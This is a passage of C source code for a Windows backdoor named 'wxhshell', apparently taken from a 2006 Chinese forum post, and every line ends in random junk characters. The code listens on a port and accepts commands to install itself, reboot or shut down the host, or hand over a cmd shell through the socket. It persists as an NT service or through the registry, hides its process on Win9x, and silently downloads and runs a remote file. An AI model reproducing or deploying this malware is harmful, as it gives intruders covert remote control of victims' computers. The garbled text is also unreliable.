  else { _c$9eAe  
+;}#B~:  
    switch(cmd[0]) { eP.Vd7ky  
   Ez~'^s@  
  // 帮助 $_H`   
  case '?': { mo{MR:>)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6 15s5ZA  
    break; 2F#q I1  
  } Sn4[3JV$l  
  // 安装 3bZIYF2@  
  case 'i': { 8X|r4otn4  
    if(Install()) "1`Oh<={b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *+'2?*  
    else !\8  ;d8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ml|W~-6l  
    break; E{^XlY  
    } z@Q@^ &0Mr  
  // 卸载 54-#QIx|  
  case 'r': { `Q3s4VEC  
    if(Uninstall()) ]ul$*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B+C);WQ,  
    else ^<e@uNGg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u]u[(K5F  
    break; ;z M*bWh9  
    } 7XKY]|S,'  
  // 显示 wxhshell 所在路径 #P]#9Ty:  
  case 'p': { ?pgG,=?  
    char svExeFile[MAX_PATH]; kn)t'_jC  
    strcpy(svExeFile,"\n\r"); 63`{.yZ*z  
      strcat(svExeFile,ExeFile); L-B<nl  
        send(wsh,svExeFile,strlen(svExeFile),0); [aI]y =v  
    break; U9D!GKVp  
    } ?bM_q_5  
  // 重启 N]KxAttt  
  case 'b': { V[-jD8=' 3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sY?,0T_m  
    if(Boot(REBOOT)) |#6QThK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Ysosy*  
    else { 54 >-  
    closesocket(wsh); z1^gDjkZ  
    ExitThread(0); hx/N1 x  
    } >^XBa*4;Y  
    break; EkGQ(fZ1|  
    } G8Nt 8U~  
  // 关机 6c^e\0q  
  case 'd': { 5M9 I,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DjSbyXvrg  
    if(Boot(SHUTDOWN)) <SI}lQ'i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V& C/Z}\  
    else { pb#?l6x$+  
    closesocket(wsh); /-bO!RTwf  
    ExitThread(0); J|&JD?  
    } wywQ<n  
    break; 5/po2V9)  
    } n_3O-X(  
  // 获取shell hKzSgYxP=t  
  case 's': { detwa}h[0  
    CmdShell(wsh); =XXZ?P  
    closesocket(wsh); &ZL3{M  
    ExitThread(0); <{~6}6o  
    break; wm+/e#'&  
  } gUeuUj  
  // 退出 k?2k'2dy  
  case 'x': { JPGzrEaZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x' .:&z  
    CloseIt(wsh); F'hHK.tT  
    break; 3E 3HL7  
    } ;A#`]-i C  
  // 离开 2 !'A:;  
  case 'q': { lkBdl#]9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CZ nOui  
    closesocket(wsh); ;\p KDPr  
    WSACleanup(); 1x[)/@.'f  
    exit(1); A<W 6=5h  
    break; Uh][@35 p  
        } U^Xm)lL  
  } 8>7& E-  
  } 9'r:~ O  
zA[0mkC?$  
  // 提示信息 6oBfB8]:d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); < P`u}  
} lGVEpCS}  
  } J9=m]R8T  
9~l hsH  
  return; 48Mpf=f`  
} hcyM6:}  
w+N> h;j  
// shell模块句柄 7^g&)P  
int CmdShell(SOCKET sock) )HvnoUO0  
{ lEV]4 t_H  
STARTUPINFO si; v$N|"o""  
ZeroMemory(&si,sizeof(si)); 7PkJ-JBA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D&S26jrZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4T=u`3pD7l  
PROCESS_INFORMATION ProcessInfo; ~ {Mn{  
char cmdline[]="cmd"; /RMPS. d {  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?yj6CL(,  
  return 0; U{VCZ*0cj  
} [/X4"D-uOK  
xe*aC  
// 自身启动模式 ##4GK08!  
int StartFromService(void) G8;w{-{m  
{ El@(mOu|  
typedef struct k70|'*Kh  
{ mL4]l(U  
  DWORD ExitStatus; ]Oif|k`{  
  DWORD PebBaseAddress; D#o}cC.  
  DWORD AffinityMask; 0D&t!$Ibf  
  DWORD BasePriority; Z"AQp _  
  ULONG UniqueProcessId; {>F7CT'G6  
  ULONG InheritedFromUniqueProcessId; Y_QH&GZ  
}   PROCESS_BASIC_INFORMATION; 3%E74 mOcD  
nG;8:f`  
PROCNTQSIP NtQueryInformationProcess; GxKqD;;u?=  
<^lRUw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }5 (Ho$S(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]X^rU`":  
7bV{Q355P  
  HANDLE             hProcess; %Jrt4sg[j-  
  PROCESS_BASIC_INFORMATION pbi; z5r$M  
Ck!VV2U#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8f3vjK'  
  if(NULL == hInst ) return 0; _C`K*u 6Z<  
7=DjI ~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z d-Tv`L#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k0Uyf~p~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0eS)&GdR  
rhb@FE)Mc  
  if (!NtQueryInformationProcess) return 0; 7IjQi=#:  
Gqy,u3lE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =-}[ ^u1  
  if(!hProcess) return 0; ^)W[l!!<)  
p^'3Odd|O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~PHB_cyth  
sn?]n~z  
  CloseHandle(hProcess); T9879[ZU\  
:bC40@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &[ ;HYgp  
if(hProcess==NULL) return 0; 1M}&ZH  
*Otg*, \  
HMODULE hMod; Z%n(O(^L  
char procName[255]; ]| +<P-  
unsigned long cbNeeded; hjQ~uqbg  
W[^qa5W<FB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B0ndcB-  
w#g#8o>'  
  CloseHandle(hProcess); Yp:KI7  
T0]*{k(FR  
if(strstr(procName,"services")) return 1; // 以服务启动 DHY@akhrK  
{je-I9%OK  
  return 0; // 注册表启动 /mK?E5H'r1  
} `Ps:d^8*P  
A l`e/a  
// 主模块 'gt-s547  
int StartWxhshell(LPSTR lpCmdLine) =lVK IW  
{ -c}, :G"  
  SOCKET wsl; D11F.McM  
BOOL val=TRUE; e A}%C.ZR  
  int port=0; "1-}A(X  
  struct sockaddr_in door; 0]jA<vLR  
l3IWoa&sh  
  if(wscfg.ws_autoins) Install(); q/4 [3h  
z1Ov|Q`  
port=atoi(lpCmdLine); v$ub~Q6W  
d` [HT``  
if(port<=0) port=wscfg.ws_port; k{<,\J  
wGZR31  
  WSADATA data; .YZgOJi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1\r|g2Z :  
Z*FrB58  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {N#KkYH{"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =?-ye!w  
  door.sin_family = AF_INET; =Z+nX0qF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T t>8?  
  door.sin_port = htons(port); }E7:ihy  
k}#;Uy=5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <u=4*:QE  
closesocket(wsl); 1=]kWp`i  
return 1; XJ Iv1s\g  
} h)me\U7UC  
SKW%X8  
  if(listen(wsl,2) == INVALID_SOCKET) { G5FaYL.7  
closesocket(wsl); l]]l  
return 1; ZoB {x*IH  
} 9Mgq1Z  
  Wxhshell(wsl); -uH#VP{0M  
  WSACleanup(); XhPe]P  
aceZ3U>W  
return 0; 42\-~]  
sk|=% }y  
} ov\HsTeZ  
PG]%Bv57  
// 以NT服务方式启动 o#[ KS:Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )H}#A#ovj7  
{ ]1gx#y 2  
DWORD   status = 0; .{S8f#p9T  
  DWORD   specificError = 0xfffffff; :ah 5`nmPO  
I_q~*/<h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oW;6h.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Eaqca{%/^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +B|7p9qy  
  serviceStatus.dwWin32ExitCode     = 0; =@)d5^<5F  
  serviceStatus.dwServiceSpecificExitCode = 0; ayBRWT0  
  serviceStatus.dwCheckPoint       = 0; zT ZVehEe  
  serviceStatus.dwWaitHint       = 0; HBB{m  
tW;:-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pDh se2  
  if (hServiceStatusHandle==0) return;  LZ~"VV^  
gf+d!c(/  
status = GetLastError(); CD0VfA>Z  
  if (status!=NO_ERROR) !JBae2Z  
{ 4"= Vq5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xes|[*Y!V  
    serviceStatus.dwCheckPoint       = 0; Bg8#qv  
    serviceStatus.dwWaitHint       = 0; `O6:t\d@  
    serviceStatus.dwWin32ExitCode     = status; ^JR;epVJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 90xk$3(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7P7b8 ]  
    return; X _$a,"'~)  
  } jtm?z c  
ueG|*[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +([!A6:  
  serviceStatus.dwCheckPoint       = 0; H UWxPIu  
  serviceStatus.dwWaitHint       = 0; 4ujvD^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5HS~op2n/  
} nIfCF,6,  
ug`NmIQP  
// 处理NT服务事件,比如:启动、停止 Jg$xO@.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +{53a_q  
{ 5f:DN\ ]  
switch(fdwControl) b.2J]6G  
{ sn{AwF%  
case SERVICE_CONTROL_STOP: VK3it3FI>3  
  serviceStatus.dwWin32ExitCode = 0; Wd(86idnc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?nKF6 f  
  serviceStatus.dwCheckPoint   = 0; iwY'4 Z e  
  serviceStatus.dwWaitHint     = 0; k6\^p;!Y  
  { %G3sjnI;l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /OGA$eP  
  } giavJ|  
  return; |Wj;QO$C  
case SERVICE_CONTROL_PAUSE: H' J|U|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5 ZfP  
  break; ,,=apyr#&  
case SERVICE_CONTROL_CONTINUE: #< CIFVH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g\M5:Qm  
  break; <Mf*l)%*  
case SERVICE_CONTROL_INTERROGATE: B>TSdn={>  
  break; G\iyJSj[P  
}; W$?e<@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D>wZ0p b-  
} ?Hy+'sq[  
XY+y}D %  
// 标准应用程序主函数 $R^lo $(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V{Q kN7-  
{ 6/mF2&&g  
h ; kfh.  
// 获取操作系统版本 W."f 8ow  
OsIsNt=GetOsVer(); P -Fg^tl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;rBp1[qVe  
xX@FWAj  
  // 从命令行安装 (a{ZJI8_  
  if(strpbrk(lpCmdLine,"iI")) Install(); BgRZ<B`  
G?V"SU.  
  // 下载执行文件 x,Y 5U+]E  
if(wscfg.ws_downexe) { C}CKnkMMD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .RRlUWu  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^ @.G,u  
} m@ oUvxcd  
8sw,k   
if(!OsIsNt) { 2@MN]Low  
// 如果时win9x,隐藏进程并且设置为注册表启动 YU\Gj S~>&  
HideProc(); n,KA&)/s  
StartWxhshell(lpCmdLine); ^g!B.ll`  
} ~b8a^6:R"  
else jp m#hH{R  
  if(StartFromService()) Bxv8RB  
  // 以服务方式启动 R [9w  
  StartServiceCtrlDispatcher(DispatchTable); Kpg:yrc['  
else "T*I|  
  // 普通方式启动 aIu2>  
  StartWxhshell(lpCmdLine); B| Q6!  
%N{sD[^  
return 0; 2X_>vIlEm  
}
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只看该作者 1 发表于: 2006-10-10
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